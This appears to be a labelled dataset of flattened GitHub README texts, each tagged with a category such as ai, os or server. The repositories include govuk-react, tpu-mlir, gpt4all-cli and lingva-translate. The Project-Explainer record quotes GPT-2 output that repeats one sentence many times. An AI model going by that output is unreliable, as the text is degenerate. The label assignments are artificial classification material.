npm publish and consumed by a peer application without putting dependencies on the peer application to implement a specific css build system why not use gds styles classes directly 1 we want to be free to write different dom structure and or css that is more in keeping with a react and bem ish architecture e g in react you often don t need to specify ids for field inputs and can wrap inputs with labels so that they are automatically associated we want to leave the decision of whether to use input ids to the parent project gds styles don t wrap inputs with labels and require ids and for attributes 2 we want a parent project to not have to worry about a specific build system e g for handling import styles css particularly if you want universal support or including certain css files we want a simple npm install govuk react to be enough to get govuk styled components on to your page irrespective of your build system 3 we want to distribute react applications as modules that have self contained styles css in js allows all styles to be contained in distributable js modules that can be ported across projects why is this a monorepo components are published to npm independently this means users have the ability to upgrade govuk react and still use older components this is particularly relevant in a large application where some code is reliant on a component that has either been deprecated or had breaking changes you aren t able to refactor the existing code e g it is a large job or managed by another team you don t want to hold back from upgrading to the newest version of govuk react e g for datefield you import it separately as follows js import h1 paragraph from govuk react import datefield from govuk react date field then in your package json you can update govuk react but specify the older version of govuk react date field about the gds font unfortunately the gds transport font has a relatively restrictive license described on the gov uk blog https designnotes blog gov uk 2015 03 11 can i use the gov uk fonts we are investigating rendering an elegant alternative before falling back to arial on issue 272 https github com govuk react govuk react issues 272 related sites and projects gov uk govuk elements https govuk elements herokuapp com source https github com alphagov govuk elements govuk frontend toolkit https github com alphagov govuk frontend toolkit govuk frontend https github com alphagov govuk frontend govuk template http alphagov github io govuk template source https github com alphagov govuk template gov uk design patterns https www gov uk service manual design find patterns other react component libraries auth0 cosmos https github com auth0 cosmos shopify polaris https github com shopify polaris zendesk garden https github com zendeskgarden react components atlassian atlaskit https bitbucket org atlassian atlaskit mk 2 carbon design system https github com carbon design system carbon components react material ui https github com mui org material ui rebass https rebassjs org acknowledgements we use chromaticqa https www chromaticqa com for visual regression testing and it is awesome you should too a href https www netlify com img src https www netlify com img global badges netlify light svg alt deploys by netlify a contributors alasdair mcleay https github com penx david murdoch https github com dsm23 gavin orland https github com gavinorland mark chambers https github com marksy steve sims https github com stevesims taran chauhan https github com taranchauhan toby brancher https github com loque want to contribute checkout our contributing page contributing md | govuk react govuk-frontend component-library storybook styled-components | os |
Project-Explainer | div align center img alt project explainer src static logos logo svg width 300 project explainer as module project explainer as module project explainer as ui project explainer as ui project repository utilities gh processor py module project repository utilities gh processor py module div br large language models are picking pace very quickly and they are turning out to be extremely good in multiple tasks with the help of zero shot few shot and fine tuning techniques we could effectively specialize a language model for the use case summarization is one such use case that has been widely researched for a couple of years now broadly there are techniques such as abstractive and extractive approaches the motive of this project proposal is to handle the summarization task mostly abstractive extractive hybrid approach through the language model s foundation model lens this project aims to cover everything from data collection eda experimenting with different language models to developing production scale system that can take github repo as reference and provide summary one of the challenges that is novel is to use smaller sized models to achieve great performance in summarization score lab has been into developing solutions in the space of making user life easier with products such as d4d bassa track pal and others this project will add to that portfolio and would be a great reference for ai practitioners and system developers which aims to work right from data to production grade end product using ai and systems this repository will hold data data references experiments and a system that takes github link as input and provides a summary for the repository tools project explainer as module a python module that is capable of providing different levels of summary for the give github repo using transformer models installation pip install git https github com c2siorg project explainer git main subdirectory project explainer egg gh explainer example usage python from project explainer import explainer gptexplainer explainer gpt2 print gptexplainer brief https github com c2siorg project explainer git output prompt prompt project explainer large language models are picking pace very quickly and they are turning out to be extremely good in multiple tasks with the help of zero shot few shot and fine tuning techniques we could effectively specialize a language model for the use case summarization is one such use case that has been widely researched for a couple of years now broadly there are techniques such as abstractive and extractive approaches the motive of this project proposal is to handle the summarization task mostly abstractive extractive hybrid approach through the language model s foundation model lens this project aims to cover everything from data collection eda experimenting with different language models to developing production scale system that can take github repo as reference and provide summary one of the challenges that is novel is to use smaller sized models to achieve great performance in summarization score lab has been into developing solutions in the space of making user life easier with products such as d4d bassa track pal and others this project will add to that portfolio and would be a great reference for ai practitioners and system developers which aims to work right from data to production grade end product using ai and systems this repository will hold data data references experiments and a system that takes github link as input and provides a summary for the repository prepared prompt project explainer large language models are picking pace very quickly and they are turning out to be extremely good in multiple tasks with the help of zero shot few shot and fine tuning techniques we could effectively specialize a language model for the use case summarization is one such use case that has been widely researched for a couple of years now broadly there are techniques such as abstractive and extractive approaches the motive of this project proposal is to handle the summarization task mostly abstractive extractive hybrid approach through the language model s foundation model lens this project aims to cover everything from data collection eda experimenting with different language models to developing production scale system that can take github repo as reference and provide summary one of the challenges that is novel is to use smaller sized models to achieve great performance in summarization score lab has been into developing solutions in the space of making user life easier with products such as d4d bassa track pal and others this project will add to that portfolio and would be a great reference for ai practitioners and system developers which aims to work right from data to production grade end product using ai and systems this repository will hold data data references experiments and a system that takes github link as input and provides a summary for the repository nexplain the above summary project explainer large language models are picking pace very quickly and they are turning out to be extremely good in multiple tasks with the help of zero shot few shot and fine tuning techniques we could effectively specialize a language model for the use case summarization is one such use case that has been widely researched for a couple of years now broadly there are techniques such as abstractive and extractive approaches the motive of this project proposal is to handle the summarization task mostly abstractive extractive hybrid approach through the language model s foundation model lens this project aims to cover everything from data collection eda experimenting with different language models to developing production scale system that can take github repo as reference and provide summary one of the challenges that is novel is to use smaller sized models to achieve great performance in summarization score lab has been into developing solutions in the space of making user life easier with products such as d4d bassa track pal and others this project will add to that portfolio and would be a great reference for ai practitioners and system developers which aims to work right from data to production grade end product using ai and systems this repository will hold data data references experiments and a system that takes github link as input and provides a summary for the repository nexplain the above xa0the goal of this project is to provide a simple easy to use and very fast way to summarize a language model the goal of this project is to provide a simple easy to use and very fast way to summarize a language model the goal of this project is to provide a simple easy to use and very fast way to summarize a language model the goal of this project is to provide a simple easy to use and very fast way to summarize a language model the goal of this project is to provide a simple easy to use and very fast way to summarize a language model the goal of this project is to provide a simple easy to use and very fast way to summarize a language model the goal of this project is to provide a simple easy to use and very fast way to summarize a language model the goal of this project is to provide a simple easy to use and very fast way to summarize a language model the goal of this project is to provide a simple easy to use and very fast way to summarize a language model project explainer as ui use project explainer as ui dependencies pip install r project explainer ui requirements txt example usage python project explainer ui ui py static ui png project repository utilities gh processor py module a simple python module packed with utilities to process files in a project repository such as git repositories installation pip install git https github com c2siorg project explainer git main subdirectory project processor egg gh processor example usage python from gh processor import download github repo extract headings with paragraphs from markdown get files by extension git url https github com c2siorg project explainer git repo path download github repo git url print repo path markdown files get files by extension repo path md headings with content print markdown files for markdown file in markdown files print markdown file headings with content markdown file extract headings with paragraphs from markdown markdown file print headings with content output users sripravallika project explainer project explainer readme md project explainer large language models are picking pace very quickly and they are turning out to be extremely good in multiple tasks with the help of zero shot few shot and fine tuning techniques we could effectively specialize a language model for the use case summarization is one such use case that has been widely researched for a couple of years now broadly there are techniques such as abstractive and extractive approaches the motive of this project proposal is to handle the summarization task mostly abstractive extractive hybrid approach through the language model s foundation model lens this project aims to cover everything from data collection eda experimenting with different language models to developing production scale system that can take github repo as reference and provide summary one of the challenges that is novel is to use smaller sized models to achieve great performance in summarization score lab has been into developing solutions in the space of making user life easier with products such as d4d bassa track pal and others this project will add to that portfolio and would be a great reference for ai practitioners and system developers which aims to work right from data to production grade end product using ai and systems this repository will hold data data references experiments and a system that takes github link as input and provides a summary for the repository | gpt large-language-models summarization | ai |
Samhita2020 | frontend reactjs br backend nodejs br database mongodb br payment gateway cashfree br website backup link http samhita20 herokuapp com | samhita | server |
MiNLP | minlp minlp minlp tokenizer 2020 11 2021 q2 2021 q3 nlp duckling fork chinese facebook duckling jvm fork minlp tokenizer minlp tokenizer duckling fork chinese duckling fork chinese | nlp tensorflow python3 | ai |
tpu-mlir | docs assets sophgo chip png tpu mlir for chinese version readme https github com sophgo tpu mlir blob master readme cn md tpu mlir is an open source machine learning compiler based on mlir for tpu this project provides a complete toolchain which can convert pre trained neural networks from different frameworks into binary files bmodel that can be efficiently operated on tpus sophgo aims to become a leading global provider of general purpose computing power sophgo focuses on the research development and promotion of computing products such as ai and risc v cpus and has built a comprehensive application matrix covering the cloud edge and endpoint scenarios with its self developed products sophgo provides computing products and integrated solutions for applications such as smart cities intelligent computing centers smart security intelligent transportation safety production industrial quality inspection and intelligent terminals the company has research and development centers in more than 10 cities in china including beijing shanghai shenzhen qingdao and xiamen as well as in the united states and singapore currently supported ai frameworks are pytorch onnx tflite and caffe models from other frameworks need to be converted to onnx models resources here are some resources to help you better understand the project index documents 01 tpu mlir paper https arxiv org abs 2210 15016 02 tpu mlir technical reference manual https tpumlir org en docs developer manual index html 03 tpu mlir quick start https tpumlir org en docs quick start index html index sharing sessions 01 tpu mlir paper https www bilibili com video bv1my4y1o73q share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 02 layergroup https www bilibili com video bv1wo4y1z7ag share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 index topic video links 01 what is ai compiler ai compiler intro https www bilibili com video bv1yp4y1d7gz share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 02 mlir intro basic syntax 1 https www bilibili com video bv1cp411n7fj share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 basic syntax 2 https www bilibili com video bv1gt4y1f7mt share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 basic syntax 3 https www bilibili com video bv1un4y1w72r share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 dialect conversion https www bilibili com video bv1ug411c7nm share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 pattern rewriting https www bilibili com video bv1r44y1d7xv share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 03 tpu mlir intro overview https www bilibili com video bv19d4y1b7er share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 front end conversion https www bilibili com video bv1yv4y1s7wt share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 lowering https www bilibili com video bv1gg411z7mc share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 04 quantization overview https www bilibili com video bv1d8411j7t4 share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 formula derivation https www bilibili com video bv1sw4y1h7uu share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 calibration https www bilibili com video bv1qk411r75k share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 qat https www bilibili com video bv12g411j7wq share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 05 tpu memory ep1 https www bilibili com video bv1t24y1g7pu share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 ep2 https www bilibili com video bv1vy4y1y7et share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 06 tpu mlir practice to onnx format https www bilibili com video bv1fd4y1h7pt share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 graph optimization https www bilibili com video bv1ar4y1u7d6 share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 operator support https www bilibili com video bv1tl411r71p share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 model support https www bilibili com video bv1mm411y7ep share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 fuse preprocess https www bilibili com video bv1ao4y1h7m8 share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 accuracy validation https www bilibili com video bv14e4y1m79d share source copy web vd source 90fd7c624ed0c40af96748bd0b8dd3e8 in addition we also published a series of tasks for any of you interested in our project and would like to develop it with us index tasks 01 rewrite patterns for permuteop https github com sophgo tpu mlir issues 93 02 shape inference implement https github com sophgo tpu mlir issues 81 03 mlir2onnx tool optimize https github com sophgo tpu mlir issues 80 for more tasks please check issue https github com sophgo tpu mlir issues if you have any questions while doing the tasks above you can ask or check the existing answers in our q a platform https ask tpumlir org questions how to build after cloning the code of this project it needs to be compiled in docker download the required image from dockerhub https hub docker com r sophgo tpuc dev shell docker pull sophgo tpuc dev latest myname1234 is just an example you can set your own name docker run privileged name myname1234 v pwd workspace it sophgo tpuc dev latest after the container is created the directory of the code in docker should be workspace tpu mlir building run the following command in the project directory shell cd tpu mlir source envsetup sh build sh usage introduce the usage of tpu mlir by a simple example of compiling yolov5s onnx and running it on the bm1684x tpu platform the model comes from the official website of yolov5 https github com ultralytics yolov5 releases download v6 0 yolov5s onnx it has been placed in project path regression model yolov5s onnx preparation firstly create a model yolov5s directory at the same level directory with this project then put both model and image files into it the operation is as follows shell mkdir model yolov5s cd model yolov5s cp regression path model yolov5s onnx cp rf regression path dataset coco2017 cp rf regression path image mkdir workspace cd workspace model to mlir if the model takes images as input we need to learn its preprocessing before transforming no preprocessing needs to be considered if the input is npz file the preprocessing process is formulated as follows y x mean times scale where x represents the input the input of the official yolov5 is rgb image each value will be multiplied by 1 255 mean and scale are 0 0 0 0 0 0 and 0 0039216 0 0039216 0 0039216 respectively the model conversion command shell model transform py model name yolov5s model def yolov5s onnx input shapes 1 3 640 640 mean 0 0 0 0 0 0 scale 0 0039216 0 0039216 0 0039216 keep aspect ratio pixel format rgb output names 350 498 646 test input image dog jpg test result yolov5s top outputs npz mlir yolov5s mlir the arguments of model transform py argument required description model name yes model name model def yes model definition file onnx pt tflite or prototxt model data no specify the model weight file required when it is caffe model corresponding to the caffemodel file input shapes no the shape of the input such as 1 3 640 640 a two dimensional array which can support multiple inputs resize dims no the size of the original image to be adjusted to if not specified it will be resized to the input size of the model keep aspect ratio no whether to maintain the aspect ratio when resize false by default it will pad 0 to the insufficient part when setting mean no the mean of each channel of the image the default is 0 0 0 0 0 0 scale no the scale of each channel of the image the default is 1 0 1 0 1 0 pixel format no image type can be rgb bgr gray or rgbd output names no the names of the output use the output of the model if not specified otherwise use the specified names as the output test input no the input file for validation which can be an image npy or npz no validation will be carried out if it is not specified test result no output file to save validation result excepts no names of network layers that need to be excluded from validation separated by comma debug no if open debug immediate model file will keep or will remove after conversion done mlir yes the output mlir file name including path after converting to mlir file a model name in f32 npz file containing preprocessed input will be generated mlir to f16 bmodel convert the mlir file to the f16 bmodel by the following command shell model deploy py mlir yolov5s mlir quantize f16 chip bm1684x test input yolov5s in f32 npz test reference yolov5s top outputs npz model yolov5s 1684x f16 bmodel the arguments of model deploy py argument required description mlir yes mlir file quantize yes quantization type f32 f16 bf16 int8 chip yes the platform that the model will use currently only bm1684x is supported more tpu platforms will be supported in the future calibration table no the quantization table path required when it is int8 quantization tolerance no tolerance for the minimum similarity between mlir quantized and mlir fp32 inference results correctnetss no tolerance for the minimum similarity between simulator and mlir quantized inference results 0 99 0 90 by default excepts no names of network layers that need to be excluded from validation separated by comma debug no if open debug immediate model file will keep or will remove after conversion done model yes name of output model file including path dynamic no dynamic codegen for to support dynamic shape mlir to int8 bmodel before converting to the int8 model you need to run calibration to get the calibration table the number of input data is about 100 to 1000 according to the situation then use the calibration table to generate a symmetric int8 bmodel it is generally not recommended to use the asymmetric one if the symmetric one already meets the requirements because the performance of the asymmetric model will be slightly worse than the symmetric model here is an example of the existing 100 images from coco2017 to perform calibration shell run calibration py yolov5s mlir dataset coco2017 input num 100 o yolov5s cali table execute the following command to convert to the int8 symmetric quantized model shell model deploy py mlir yolov5s mlir quantize int8 calibration table yolov5s cali table chip bm1684x test input yolov5s in f32 npz test reference yolov5s top outputs npz tolerance 0 85 0 45 model yolov5s 1684x int8 bmodel results comparison this project has a yolov5 sample written in python path python samples detect yolov5 py for object detection read the code to learn how the model is used 1 preprocess the input 2 model inference to get output 3 post process the output the following code is used to verify the output of onnx f32 int8 model respectively onnx model shell detect yolov5 py input image dog jpg model yolov5s onnx output dog origin jpg f16 bmodel shell detect yolov5 py input image dog jpg model yolov5s 1684x f16 bmodel output dog f16 jpg int8 symmetric quantized bmodel shell detect yolov5 py input image dog jpg model yolov5s 1684x int8 bmodel output dog int8 jpg outputs of different models are compared below docs quick start assets yolov5s png auxiliary tools model inference tool model runner py supports bmodel mlir pytorch onnx tflite caffe shell model runner py input resnet18 in f32 npz model resnet18 1684x f32 bmodel output resnet18 output npz tool for bmodel the bmodel file can be viewed and edited by model tool model tool info model file show brief model info print model file show detailed model info extract model file extract one multi net bmodel to multi one net bmodels combine file1 filen o new file combine bmodels to one bmodel by filepath combine dir dir1 dirn o new dir combine bmodels to one bmodel by directory path dump model file start offset byte size out file dump binary data to file from bmodel for example to get basic information of bmodel shell model tool info resnet18 1684x f32 bmodel related links official network https tpumlir org discourse https ask tpumlir org videos https space bilibili com 1829795304 channel collectiondetail sid 734875 | ai |
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Data-Engineering-and-Data-Analysis | data engineering and data analysis import the csvs into a sql database and answer questions about the data data engineering and data analysis | server |
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SE-iOS | software engineering software engineering e portfolio about the ios app development lifecycle introduction hey everone this weeks e portfolio is about developing and deploying an ios app to the apple app store app store connect i will shortly introduce you into the techniques you should use and which solutions you get provided by apple components the components we are going to use is xcode on mac app store connect testflight on ios device live demo important notice to deploy an app to the apple app store you need to pay for apple s developer program costs 99 a year xcode is only available for mac os get started have a look into the git repository if you want to use my example code this example application is loading an json file locally into a codable structure you will learn what that exactly is and insert it into a list using swiftui how to import 1 if you want to import my code into your own xcode you firstly have to create a project by file new project 2 select single view app 3 name it add your organisation team and choose the user interface swiftui 4 check include ui tests include unit tests if unchecked only 5 after the project is created please copy contentview swift structureexample swift as well as persons json into your project 6 if you want to add my example test please copy this file into your uitests folder if there occures an error please contact me via whatsapp or discord cheers niclas | os |
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LeadQualifier | leadqualifier this repo is a collection of scripts we use at xeneta to qualify sales leads with machine learning read more about this project in the medium article boosting sales with machine learning https medium com xeneta boosting sales with machine learning fbcf2e618be3 you can use this repo for two things 1 try to beat our predictions using our data and your own algorithm 2 create a lead qualifier for your company using your own data setup start off by running the following command pip install r requirements txt you ll also need to download the stopword from the nltk http www nltk org index html package run the python interpreter and type the following import nltk nltk download stopwords 1 experiment with your own algorithms we d love to see more algorithms on the leaderboard so send us a pull request once you ve implemented one xeneta qualifier https github com xeneta leadqualifier tree master xeneta qualifier we ve provided you with our vectorized and transformed data here https github com xeneta leadqualifier tree master xeneta qualifier data we can unfortunately not share the raw text data as it contains sensitive company information who our customers are to test our your own algorithm simply add it the run py https github com xeneta leadqualifier blob master xeneta qualifier run py file and run the script python run py thanks to lampts https github com lampts for implementing the best performing algorithm so far the sgdclassifier http scikit learn org stable modules generated sklearn linear model sgdclassifier html leaderboard algorithm precision recall f1 score sgd classifier 0 872 0 940 0 905 random forest 0 845 0 915 0 878 ps we re also experimenting with a neural net in tensorflow in the nn py file 2 create your own lead qualifier to create your own lead qualifier you ll need to get hold of company descriptions to create your dataset we currently use fullcontact https www fullcontact com developer for this note we ve added dummy data so that you can run both scripts without getting errors and to give you examples on how the sheets should look like train algorithm https github com xeneta leadqualifier tree master train algorithm this script trains an algorithm on your own input data it expects two excel sheets named qualified and disqualified in the input https github com xeneta leadqualifier tree master train algorithm input folder these sheets need to contain two columns url description https raw githubusercontent com xeneta leadqualifier master img sheet png run the script python run py it ll dump three files into the qualify leads https github com xeneta leadqualifier tree master qualify leads project algorithm vectorizer tfidf vectorizer you re now ready to start classifying your sales leads qualify leads https github com xeneta leadqualifier tree master qualify leads this is the script that actually predicts the quality of your leads add an excel sheet named data in the input https github com xeneta leadqualifier tree master qualify leads input folder use the same format as the example file that s already there run the script python run py it ll output an excel sheet with a column named prediction where 1 equals qualified and 0 equals disqualified https raw githubusercontent com xeneta leadqualifier master img predictions sheet png got questions email me at per xeneta com | ai |
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EFCore_ReverseEngineering | efcore reverseengineering reverse engineering for a pre existing database to scaffold a dbcontext scaffold dbcontext data source desktop 70gl9qg mssqlserver01 initial catalog adventureworks trusted connection true microsoft entityframeworkcore sqlserver | server |
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gpt4all-cli | h1 align center welcome to gpt4all cli h1 version https img shields io npm v gpt4all cli svg https npmjs org package gpt4all cli downloads week https img shields io npm dw gpt4all cli svg https npmjs org package gpt4all cli license https img shields io npm l gpt4all cli svg https github com jellydn gpt4all cli blob master package json prerequisite https img shields io badge node 3e 3d16 0 0 blue svg twitter jellydn https img shields io twitter follow jellydn svg style social https twitter com jellydn p a cli tool built on top of gpt4all ts p it man tech 35 unlock the power of ai gpt4all gpt 3 5 turbo llama vietnamese https i ytimg com vi ekpqkfewv2g hqdefault jpg https www youtube com watch v ekpqkfewv2g intro gpt4all cli is a robust command line interface tool designed to harness the remarkable capabilities of gpt4all within the typescript ecosystem it is constructed atop the gpt4all ts https github com nomic ai gpt4all ts library the gpt4all ts library is a typescript adaptation of the gpt4all project which provides code data and demonstrations based on the llama large language model with approximately 800k gpt 3 5 turbo generations inspired by the gpt4all https github com nomic ai gpt4all project gpt4all ts strives to extend its functionalities and make them accessible to typescript and javascript developers by utilizing gpt4all cli developers can effortlessly tap into the power of gpt4all and llama without delving into the library s intricacies simply install the cli tool and you re prepared to explore the fascinating world of large language models directly from your command line usage sh npx gpt4all cli latest display help for command sh npx gpt4all cli latest h usage gpt4all options gpt4all cli options v version output the version number m model value choose a model default gpt4all lora quantized default r reset reset the model by deleting the nomic folder default false h help display help for command https gyazo com 15617a4d46884092c0286ec6c0d014d9 gif https gyazo com 15617a4d46884092c0286ec6c0d014d9 gif https gyazo com 3308c5da3ed189cc53f875cc5747d6be gif https gyazo com 3308c5da3ed189cc53f875cc5747d6be gif learning resources using langchain to run queries against gpt4all in the context of a single documentary knowledge source ouseful info the blog https blog ouseful info 2023 04 04 langchain query gpt4all against knowledge source running gpt4all on a mac using python langchain in a jupyter notebook ouseful info the blog https blog ouseful info 2023 04 04 running gpt4all on a mac using python langchain in a jupyter notebook author dung huynh website https productsway com twitter jellydn https twitter com jellydn github jellydn https github com jellydn show your support kofi https img shields io badge ko fi f16061 style for the badge logo ko fi logocolor white https ko fi com dunghd paypal https img shields io badge paypal 00457c style for the badge logo paypal logocolor white https paypal me dunghd buymeacoffee https img shields io badge buy me a coffee ffdd00 style for the badge logo buy me a coffee logocolor black https www buymeacoffee com dunghd give a if this project helped you | cli gpt4all llama gpt4all-ts | ai |
mibile-device-development | mibile device development mobile development | front_end |
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dis25-2022 | natural language processing dis25a nlp this course can be taken for the bachelor programm data and information science dis25a or the master program digital sciences nlp after easter all sessions are hosted at th k ln claudiusstra e 1 the sessions will be held life slides will be usually available a night before the actual lecture we try to record all lectures and tutorials for later referal not sure how this works out with the sessions at claudiusstra e schedule for summer semester 2022 l lectures t tutorials p project the first lectures and tutorial were recorded and are available online https th koeln sciebo de s col70bcubhhymjx the password is the same as for the zoom sessions date slot 13 30h slot 15 15h dis25a dis b sc nlp ds m sc 1 4 2022 introduction and overview slides dis25 01 introduction pdf l basic text processing slides dis25 02 basictextprocessing pdf l x x 8 4 2022 basic nlp pipeline nltk tutorial dis25 01 tut basicpipeline md t solution tutorial dis25 1 solution ipynb common toolkit spacy tutorial dis25 02 tut spacynltk md t solution tutorial dis25 2 solution ipynb x x 15 4 2022 no lecture 22 4 2022 wordnet slides dis25 03 wordnet pdf l vector semantics slides dis25 04 vectorsemantics pdf l x x 29 4 2022 wordnet germanet tutorial dis25 03 tut wordnet md t solution tutorial dis25 3 solution ipynb vector semantics tutorial dis25 04 tut vectorsemantics md t solution tutorial dis25 4 solution ipynb x x 6 5 2022 information extraction slides dis25 05 infoextract pdf l sentiment analysis slides dis25 06 sentimentanalysis pdf l x x 13 5 2022 no lecture 20 5 2022 language models and ethics in nlp slides dis25 07 lm ethics pdf l group assignment p x x 27 5 2022 group work p group work p x 3 6 2022 data programming for ie slides dis25 08 data prog pdf demo https www snorkel org use cases 01 spam tutorial l group work p oral exam master x x 10 6 2022 guest lecture dimitar dimitrov data guest lecture md l group work p x 17 6 2022 group work p group work p x 24 6 2022 student talks project presentation presentations md p student talks project presentation p x 31 8 2022 submission of term papers x bachelor group assignments in the group assignments a group of four students has to work on a bias related topic with a specific focus and on one of three datasets in the group work phases starting on 20 5 2022 we will be available during the lecture time to help and advise in the presentations on 24 6 2022 presentations md you are expected to present a concept regarding your specific topic and dataset please decribe the motivation the dataset your methods and nlp pipeline a working prototype and some first insights and results the feedback gathered during the presentation should be used to write a final term paper on your specific topic and work please read the guidelines for the term paper term paper md datasets choose one of the following datasets to work on bundestags plenarprotokolle https www bundestag de services opendata washington post https github com irgroup datasets tree master wapostv4 please sign individual licence agreement https trec nist gov data wapost individual 20application pdf one of the esupol dataset like btw17 https zenodo org record 1494858 yoogvs8rpqs you can find descriptions of the datasets here data esupol datens tze bersicht pdf topics choose one of the following topcis gender bias gender bias is a group bias in which different genders are represented differently in terms of an aspect in a given set of document s than expected aspects for which there can be a bias range from quantitative measures e g how many documents have male female authors to more complex nlp measures e g different sentiments in texts about male female politicians or topical bias different distributions of topics in texts geared towards male female readers examples for papers that investigate gender bias the gender gap tracker using natural language processing to measure gender bias in media https journals plos org plosone article id 10 1371 journal pone 0245533 does gender matter in the news detecting and examining gender bias in news articles https dl acm org doi 10 1145 3442442 3452325 perception aware bias detection for query suggestions https link springer com content pdf 10 1007 2f978 3 030 78818 6 pdf ethnic bias like gender bias ethnic or racial bias describes bias towards groups of people belonging to an ethnical or religious group ethnic bias includes harmful stereotypes and less blatant but still dangerous aspects like topical bias detecting ethnic bias is not only important because it may lead to even more severe instances of racism and it is an infringement of the constitutional right to equal treatment examples for papers that investigate ethnic bias guilty by association using word embeddings to measure ethnic stereotypes in news coverage https doi org 10 1177 1077699020932304 non neutral speech non neutral language consists of many aspects of language that is subjective opinionated or otherwise implies valuation this includes toxicity ranging from forms of hate speech such as racism incivility profane offensive and aggressive language to over positive praises non neutral language is especially problematic when it appears in types of documents that claim to be neutral such as wikipedia or public news a related concept is framing bias defined as the use of subjective words or phrases linked with a particular opinion examples for papers that investigate non neutral language a framework for the computational linguistic analysis of dehumanization https pubmed ncbi nlm nih gov 33733172 linguistic models for analyzing and detecting biased language https aclanthology org p13 1162 pdf stance detection stance is a concept that describes an opinion on a subject most often in a political context the goal of stance detection is to detect the stances of users authors towards these subjects often the subjects are known due to context for example abortion weapon laws and gay marriage in political texts or they have to be determined using approaches like entity recognition a related concept is that of target dependent or aspect based sentiment analysis in which the opinions on aspects targets are detected examples for papers that investigate stance detection stance and sentiment in tweets https dl acm org doi 10 1145 3003433 political ideology and polarization of policy positions a multi dimensional approach https arxiv org abs 2106 14387 | ai |
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lingva-translate | lingva translate img src public logo svg width 128 align right travis build https travis ci com thedaviddelta lingva translate svg branch main https travis ci com thedaviddelta lingva translate vercel status https img shields io github deployments thedaviddelta lingva translate production label vercel logo vercel color f5f5f5 https lingva ml cypress tests https img shields io endpoint url https dashboard cypress io badge simple qgjdyd style flat logo cypress https dashboard cypress io projects qgjdyd runs license https img shields io github license thedaviddelta lingva translate license awesome humane tech https raw githubusercontent com humanetech community awesome humane tech main humane tech badge svg sanitize true https github com humanetech community awesome humane tech img src https www datocms assets com 31049 1618983297 powered by vercel svg alt powered by vercel height 20 https vercel com utm source lingva team utm campaign oss alternative front end for google translate serving as a free and open source translator with over a hundred languages available how does it work inspired by projects like newpipe https github com teamnewpipe newpipe nitter https github com zedeus nitter invidious https github com iv org invidious or bibliogram https git sr ht cadence bibliogram lingva scrapes through google translate and retrieves the translation without directly accessing any google related service preventing them from tracking for this purpose lingva is built among others with the following open source resources lingva scraper https github com thedaviddelta lingva scraper a google translate scraper built and maintained specifically for this project which obtains all kind of information from this platform typescript https www typescriptlang org the javascript superset as the language react https reactjs org as the main front end framework next js https nextjs org as the complementary react framework that provides server side rendering static site generation or serverless api endpoints chakraui https chakra ui com for the in component styling jest https jestjs io testing library https testing library com cypress https www cypress io for unit integration e2e testing apollo server https www apollographql com docs apollo server for handling the graphql endpoint inkscape https inkscape org for designing both the logo and the banner deployment as lingva is a next js https nextjs org project you can deploy your own instance anywhere next is supported the only requirement is to set an environment variable called next public site domain with the domain you re deploying the instance under this is used for the canonical url and the meta tags optionally there are other environment variables available next public force default theme force a certain theme over the system preference set by the user the accepted values are light and dark next public default source lang set an initial source language instead of the default auto next public default target lang set an initial target language instead of the default en docker an official docker image https hub docker com r thedaviddelta lingva translate is available to ease the deployment using compose kubernetes or similar technologies remember to also include the environment variables simplified to site domain force default theme default source lang and default target lang when running the container docker compose version 3 services lingva container name lingva image thedaviddelta lingva translate latest restart unless stopped environment site domain lingva ml force default theme light default source lang auto default target lang en ports 3000 3000 docker run bash docker run p 3000 3000 e site domain lingva ml e force default theme light e default source lang auto e default target lang en thedaviddelta lingva translate latest vercel another easy way is to use the next js creators own platform vercel https vercel com where you can deploy it for free with the following button deploy with vercel https vercel com button https vercel com new git external repository url https 3a 2f 2fgithub com 2fthedaviddelta 2flingva translate 2ftree 2fmain env next public site domain envdescription your 20domain utm source lingva team utm campaign oss instances these are the currently known lingva instances feel free to make a pull request including yours please remember to add skip ci to the last commit domain hosting ssl provider lingva ml https lingva ml official vercel https vercel com let s encrypt https www ssllabs com ssltest analyze html d lingva ml translate igna wtf https translate igna wtf vercel https vercel com let s encrypt https www ssllabs com ssltest analyze html d translate igna wtf translate plausibility cloud https translate plausibility cloud hetzner https hetzner com let s encrypt https www ssllabs com ssltest analyze html d translate plausibility cloud lingva lunar icu https lingva lunar icu lansol https lansol de cloudflare https www ssllabs com ssltest analyze html d lingva lunar icu translate projectsegfau lt https translate projectsegfau lt self hosted let s encrypt https www ssllabs com ssltest analyze html d translate projectsegfau lt translate dr460nf1r3 org https translate dr460nf1r3 org netcup https netcup eu cloudflare https www ssllabs com ssltest analyze html d translate dr460nf1r3 org lingva garudalinux org https lingva garudalinux org hetzner https hetzner com cloudflare https www ssllabs com ssltest analyze html d lingva garudalinux org translate jae fi https translate jae fi self hosted let s encrypt https www ssllabs com ssltest analyze html d translate jae fi public apis nearly all the lingva instances should supply a pair of public developer apis a restful one and a graphql one note both apis return the translation audio as a uint8array served as number in json and int in graphql with the contents of the audio buffer rest api v1 get api v1 source target query typescript translation string info translationinfo get api v1 audio lang query typescript audio number get api v1 languages source target typescript languages code string name string in addition every endpoint can return an error message with the following structure instead typescript error string graphql api api graphql graphql query translation source string target string query string source lang code string name string text string audio int detected code string name string typo string pronunciation string definitions type string list definition string example string field string synonyms string 